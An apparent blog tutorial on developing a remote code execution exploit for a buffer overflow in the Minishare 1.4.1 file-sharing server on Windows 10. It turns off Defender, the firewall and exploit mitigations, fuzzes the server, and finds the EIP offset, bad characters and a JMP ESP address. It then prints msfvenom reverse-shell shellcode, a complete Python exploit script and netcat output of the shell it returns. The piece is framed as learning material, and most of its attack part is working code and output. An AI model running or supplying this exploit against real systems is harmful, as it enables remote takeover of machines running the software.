Introduction

The Minishare (minishare.exe) is an application used for sharing files through HTTP protocol. The Minishare 1.4.1 is vulnerable for buffer overflow because it processes a URL that contians more data than the buffer can handle. In this article, I’ll go through developing an remote code execution exploit for the application to help others with their exploit development journey.

Windows 10 Configuration

Currently, the exploits available are meant for Windows 7, Windows 2000, and Windows Server 2003. However, in this article I’ll go through developing the exploit inside a Windows 10 machine but that requires us to configure the machine with the following settings.

  1. Go to Windows Defender Turn off the following settings.

    • Real-time Protection: Off
    • Cloud-delivered Protection: Off
    • Automatic sample submissions: Off
    • Tamper protection: Off

  2. Go to Control Panel System and Security Windows Defender Firewall Customize Settings Turn Off Windows Defender Firewall.

  3. Go to Windows Security App & Browser Control Exploit Protection Settings Turn off the following settings.

    • Control flow guard (CFG): Off
    • Data Execution Prevention: Off
    • Force randomization for images: Off
    • Randomize memory allocations: Off
    • Validate exception chains (SEHOP): Off
    • Validate heap integrity: Off

Once all these configurations are applied to Windows 10 system all that needs to be done is rebooting and from there we can start developing the exploit for Minishare 1.4.1.

Starting Application

The Minishare 1.4.1 (minishare.exe) is an application that comes in a ZIP file and unfortunately we have to manually start the application each time after crashing it.

Once the Minishare 1.4.1 application is started the HTTP server starts automatically which is accessible through http://localhost and we can view any files that we allowed to be shared through application.

Controlling EIP

I always recommend developing a fuzzer which will automatically send hundreds to thousands of bytes to the application to it crashes instead of manually sending each requests which can consume a-lot of time. Here’s a Python3 script which I developed to fuzz Minishare application.

exploit.py
#!/bin/python3
import requests
 
def main():
    # Target information
    server = "192.168.221.137"
    port = 80
 
    # Fuzzing web application
    for i in range(1, 100):
        size = 100 * i
        inputBuffer = "A" * size
 
        print("Sending {} bytes of data...".format(size))
        req = requests.get("http://{0}:{1}/{2}".format(server, port, inputBuffer))
        print("Done")
 
if __name__ == "__main__":
    main()  

Attach WinDbg to minishare.exe process and change the server variable to your host and run the script and the application should experience access violation anywhere from 100 bytes to 10000 bytes.

Kali Linux Machine
kali@kali:~$ python3 ./fuzzer.py
...
Sending 1600 bytes of data...
Done
Sending 1700 bytes of data...
Done
Sending 1800 bytes of data...
...

The MiniShare application crashed at 1800 bytes which means we can take control of the EIP register anywhere between 1700 bytes to 1800 bytes. We can now start finding the offset which will allow us to control the EIP register using msf-pattern_create to generate a long unique string.

Kali Linux: msf-pattern-create
kali@kali:~$ msf-pattern_create -l 1800                                                                                                                 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9

Attach WinDbg to minishare.exe process again and modify the exploit.py script to send the long unique string generated by msf-pattern_create command above.

exploit.py
#!/bin/python3
import requests
 
def main():
    # Target information
    server = "192.168.221.137"
    port = 8080 
 
    # Payload
    inputBuffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9"
 
    print("Sending {} bytes of data...".format(len(inputBuffer)))
    req = requests.get("http://{0}:{1}/{2}".format(server, port, inputBuffer))
    print("Done")
 
if __name__ == "__main__":
    main()  

The Minishare application crashed with the EIP register address 0x68433568 which we can copy and use with the command msf-pattern_offset to find the offset that will allow us to control EIP register.

Kali Linux: msf-pattern_offset
kali@kali:~$ msf-pattern_offset -l 1800 -q 0x68433568
[*] Exact match at offset 1786

Attach Windbg to the Minishare application again and modify the exploit.py script to send 1786 bytes of padding data and the data to control the EIP register with and then run the exploit.py script.

exploit.py
#!/bin/python3
import requests
 
def main():
    # Target information
    server = "192.168.221.137"
    port = 8080 
 
    # Payload
    inputBuffer  = "A" * 1786
    inputBuffer += "B" * 4
    inputBuffer += "C" * (5000 - len(inputBuffer)) 
 
    # Sending the payload
    print("Sending {} bytes of data...".format(len(inputBuffer)))
    req = requests.get("http://{0}:{1}/{2}".format(server, port, inputBuffer))
    print("Done")
 
if __name__ == "__main__":
    main()  

The EIP register is overwritten with 0x42424242 which means that we successfully now have control over the EIP register and we can continue with the next section.

Finding Bad Characters

The bad characters are the characters which the application filters out which can lead to unexpected events such as crashes and access violations. The bad characters can be found by sending all characters to the application and viewing inside the stack to see which character is filtered out or prevents other characters from displaying inside the stack.

exploit.py
#!/bin/bash
import socket
 
def main():
    # Bad Characters
    badchars = (
        b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
        b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
        b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
        b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
        b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
        b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
        b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
        b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
        b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
        b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
        b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
        b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
        b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
        b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
        b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
        b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    )
 
    # Payload
    size = 1786
    inputBuffer = b"A" * size
    inputBuffer += b"B" * 4
    inputBuffer += badchars
    inputBuffer += b"C" * (5000 - len(inputBuffer))
    payload = b"GET /" + inputBuffer + b" HTTP/1.1\r\n"
    payload += b"\r\n"
 
    # Sending the payload
    print("Sending {} bytes of data...".format(size))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.221.137", 8080))
    s.send(badchars)
    s.close()
    print("Done")
 
if __name__ == "__main__":
    main()

The Minishare application handles the characters from \0x01 to 0x0c without any issues but the character \x0d prevents rest of the characters from displaying therefore it’s a bad character and needs to be removed from the badchars variable. After repeating the steps multiple of times we can find all the bad characters but in my case the only bad character was \x00\x0d.

Finding JMP ESP

The EIP register needs to be replaced with a address that consists of the instruction JMP ESP as that will allow us to jump into the stack and execute the shellcode. We can use Narly to find all libraries available for us and use one of them to find an address with the JMP ESP instruction.

In the Windows 10 Configuration we disabled all the security protections such as ASLR, DEP and SafeSEH therefore we can use COMCTL321 library to find an address with JMP ESP instruction even tho it as security protections such as ASLR, DEP, SafeSEH using the following command in WinDbg and replace the b"B" *4 with that address.

exploit.py
#!/bin/bash
import socket
 
def main():
    # Payload
    size = 1786
    inputBuffer = b"A" * size
    inputBuffer += b"\x3f\x16\x33\x51"
    inputBuffer += badchars
    inputBuffer += b"C" * (5000 - len(inputBuffer))
    payload = b"GET /" + inputBuffer + b" HTTP/1.1\r\n"
    payload += b"\r\n"
 
    # Sending the payload
    print("Sending {} bytes of data...".format(size))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.221.137", 8080))
    s.send(badchars)
    s.close()
    print("Done")
 
if __name__ == "__main__":
    main()

The EIP register will be overwritten with the address 0x5133163f which consists of the JMP ESP instruction and that will allow us to jump into the stack and execute shellcode.

Generating Shellcode

The msfvenom command allows us to craft a reverse shell shellcode that will return a reverse shell to our Kali Linxu machine. However, to successfully create a good shellcode we need to assign the correct values to LHOST and -b parameters. Otherwise the reverse shell will be sent to different host and not exclude bad characters.

Kali Linux: msfvenom
kali@kali:~$ msfvenom -a x86 -p windows/shell_reverse_tcp lhost=eth0 lport=1337 -f python -b "\x00\x0d" -v shellcode EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode =  b""
shellcode += b"\xdb\xc6\xbb\x4e\xee\x15\xd5\xd9\x74\x24\xf4"
shellcode += b"\x5e\x33\xc9\xb1\x52\x83\xee\xfc\x31\x5e\x13"
shellcode += b"\x03\x10\xfd\xf7\x20\x50\xe9\x7a\xca\xa8\xea"
shellcode += b"\x1a\x42\x4d\xdb\x1a\x30\x06\x4c\xab\x32\x4a"
shellcode += b"\x61\x40\x16\x7e\xf2\x24\xbf\x71\xb3\x83\x99"
shellcode += b"\xbc\x44\xbf\xda\xdf\xc6\xc2\x0e\x3f\xf6\x0c"
shellcode += b"\x43\x3e\x3f\x70\xae\x12\xe8\xfe\x1d\x82\x9d"
shellcode += b"\x4b\x9e\x29\xed\x5a\xa6\xce\xa6\x5d\x87\x41"
shellcode += b"\xbc\x07\x07\x60\x11\x3c\x0e\x7a\x76\x79\xd8"
shellcode += b"\xf1\x4c\xf5\xdb\xd3\x9c\xf6\x70\x1a\x11\x05"
shellcode += b"\x88\x5b\x96\xf6\xff\x95\xe4\x8b\x07\x62\x96"
shellcode += b"\x57\x8d\x70\x30\x13\x35\x5c\xc0\xf0\xa0\x17"
shellcode += b"\xce\xbd\xa7\x7f\xd3\x40\x6b\xf4\xef\xc9\x8a"
shellcode += b"\xda\x79\x89\xa8\xfe\x22\x49\xd0\xa7\x8e\x3c"
shellcode += b"\xed\xb7\x70\xe0\x4b\xbc\x9d\xf5\xe1\x9f\xc9"
shellcode += b"\x3a\xc8\x1f\x0a\x55\x5b\x6c\x38\xfa\xf7\xfa"
shellcode += b"\x70\x73\xde\xfd\x77\xae\xa6\x91\x89\x51\xd7"
shellcode += b"\xb8\x4d\x05\x87\xd2\x64\x26\x4c\x22\x88\xf3"
shellcode += b"\xc3\x72\x26\xac\xa3\x22\x86\x1c\x4c\x28\x09"
shellcode += b"\x42\x6c\x53\xc3\xeb\x07\xae\x84\xd3\x70\x6d"
shellcode += b"\xd2\xbc\x82\x8d\xde\x05\x0a\x6b\x8a\x65\x5a"
shellcode += b"\x24\x23\x1f\xc7\xbe\xd2\xe0\xdd\xbb\xd5\x6b"
shellcode += b"\xd2\x3c\x9b\x9b\x9f\x2e\x4c\x6c\xea\x0c\xdb"
shellcode += b"\x73\xc0\x38\x87\xe6\x8f\xb8\xce\x1a\x18\xef"
shellcode += b"\x87\xed\x51\x65\x3a\x57\xc8\x9b\xc7\x01\x33"
shellcode += b"\x1f\x1c\xf2\xba\x9e\xd1\x4e\x99\xb0\x2f\x4e"
shellcode += b"\xa5\xe4\xff\x19\x73\x52\x46\xf0\x35\x0c\x10"
shellcode += b"\xaf\x9f\xd8\xe5\x83\x1f\x9e\xe9\xc9\xe9\x7e"
shellcode += b"\x5b\xa4\xaf\x81\x54\x20\x38\xfa\x88\xd0\xc7"
shellcode += b"\xd1\x08\xf0\x25\xf3\x64\x99\xf3\x96\xc4\xc4"
shellcode += b"\x03\x4d\x0a\xf1\x87\x67\xf3\x06\x97\x02\xf6"
shellcode += b"\x43\x1f\xff\x8a\xdc\xca\xff\x39\xdc\xde"

All that is left now is to modify the exploit.py script to include shellcode and the NOP Sled which will help with executing the shellcode without triggering any access violations when the shellcode starts unpacking itself.

exploit.py
#!/bin/bash
import socket
 
def main():
    # Shellcode returns reverse shell on port 1337
    shellcode =  b""
    shellcode += b"\xdb\xc6\xbb\x4e\xee\x15\xd5\xd9\x74\x24\xf4"
    shellcode += b"\x5e\x33\xc9\xb1\x52\x83\xee\xfc\x31\x5e\x13"
    shellcode += b"\x03\x10\xfd\xf7\x20\x50\xe9\x7a\xca\xa8\xea"
    shellcode += b"\x1a\x42\x4d\xdb\x1a\x30\x06\x4c\xab\x32\x4a"
    shellcode += b"\x61\x40\x16\x7e\xf2\x24\xbf\x71\xb3\x83\x99"
    shellcode += b"\xbc\x44\xbf\xda\xdf\xc6\xc2\x0e\x3f\xf6\x0c"
    shellcode += b"\x43\x3e\x3f\x70\xae\x12\xe8\xfe\x1d\x82\x9d"
    shellcode += b"\x4b\x9e\x29\xed\x5a\xa6\xce\xa6\x5d\x87\x41"
    shellcode += b"\xbc\x07\x07\x60\x11\x3c\x0e\x7a\x76\x79\xd8"
    shellcode += b"\xf1\x4c\xf5\xdb\xd3\x9c\xf6\x70\x1a\x11\x05"
    shellcode += b"\x88\x5b\x96\xf6\xff\x95\xe4\x8b\x07\x62\x96"
    shellcode += b"\x57\x8d\x70\x30\x13\x35\x5c\xc0\xf0\xa0\x17"
    shellcode += b"\xce\xbd\xa7\x7f\xd3\x40\x6b\xf4\xef\xc9\x8a"
    shellcode += b"\xda\x79\x89\xa8\xfe\x22\x49\xd0\xa7\x8e\x3c"
    shellcode += b"\xed\xb7\x70\xe0\x4b\xbc\x9d\xf5\xe1\x9f\xc9"
    shellcode += b"\x3a\xc8\x1f\x0a\x55\x5b\x6c\x38\xfa\xf7\xfa"
    shellcode += b"\x70\x73\xde\xfd\x77\xae\xa6\x91\x89\x51\xd7"
    shellcode += b"\xb8\x4d\x05\x87\xd2\x64\x26\x4c\x22\x88\xf3"
    shellcode += b"\xc3\x72\x26\xac\xa3\x22\x86\x1c\x4c\x28\x09"
    shellcode += b"\x42\x6c\x53\xc3\xeb\x07\xae\x84\xd3\x70\x6d"
    shellcode += b"\xd2\xbc\x82\x8d\xde\x05\x0a\x6b\x8a\x65\x5a"
    shellcode += b"\x24\x23\x1f\xc7\xbe\xd2\xe0\xdd\xbb\xd5\x6b"
    shellcode += b"\xd2\x3c\x9b\x9b\x9f\x2e\x4c\x6c\xea\x0c\xdb"
    shellcode += b"\x73\xc0\x38\x87\xe6\x8f\xb8\xce\x1a\x18\xef"
    shellcode += b"\x87\xed\x51\x65\x3a\x57\xc8\x9b\xc7\x01\x33"
    shellcode += b"\x1f\x1c\xf2\xba\x9e\xd1\x4e\x99\xb0\x2f\x4e"
    shellcode += b"\xa5\xe4\xff\x19\x73\x52\x46\xf0\x35\x0c\x10"
    shellcode += b"\xaf\x9f\xd8\xe5\x83\x1f\x9e\xe9\xc9\xe9\x7e"
    shellcode += b"\x5b\xa4\xaf\x81\x54\x20\x38\xfa\x88\xd0\xc7"
    shellcode += b"\xd1\x08\xf0\x25\xf3\x64\x99\xf3\x96\xc4\xc4"
    shellcode += b"\x03\x4d\x0a\xf1\x87\x67\xf3\x06\x97\x02\xf6"
    shellcode += b"\x43\x1f\xff\x8a\xdc\xca\xff\x39\xdc\xde"
 
    # Payload
    eip = b"\x3f\x16\x33\x51"
    nopsled = b"\x90" * 20
    size = 1786
    inputBuffer = b"A" * size
    inputBuffer += eip
    inputBuffer += nopsled
    inputBuffer += shellcode
    inputBuffer += b"C" * (5000 - len(inputBuffer))
    payload = b"GET /" + inputBuffer + b" HTTP/1.1\r\n"
    payload += b"\r\n"
 
    # Sending the payload
    print("Sending {0} bytes of data...".format(len(payload)))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.221.137", 8080))
    s.send(payload)
    s.close()
    print("Done")
 
if __name__ == "__main__":
    main()

Attach WinDbg to Minishare applicatin and execute the exploit.pu script and a reverse shell should be returned to your netcat listener without triggering anything inside the debugger.

Kali Linux: nc
kali@kali:~$ rlwrap nc -lnvp 1337
listening on [any] 1337 ...
connect to [192.168.221.134] from (UNKNOWN) [192.168.221.137] 52602
Microsoft Windows [Version 10.0.19045.6466]
(c) Microsoft Corporation. All rights reserved.
 
C:\Windows\system32>whoami
whoami
desktop-ev71grl\student
 
C:\Windows\system32>hostname
hostname
DESKTOP-EV71GRL

We successfully managed to create an exploit for the Minishare 1.4.1 application in Windows 10. What is fantastic about this exploit is that when you close the shell connection between Kali Linux and Windows machine running Minishare application the application is still running.

Conclusion

At the beginning developing buffer overflow exploits might seem complicated but the more you do it the easier it becomes as it consists of four stages controlling eip register, finding bad characters, finding jmp esp, and generating shellcode. Hopefully this article helped you with learning the methodologies needed to deveolop buffer overflow for different applications.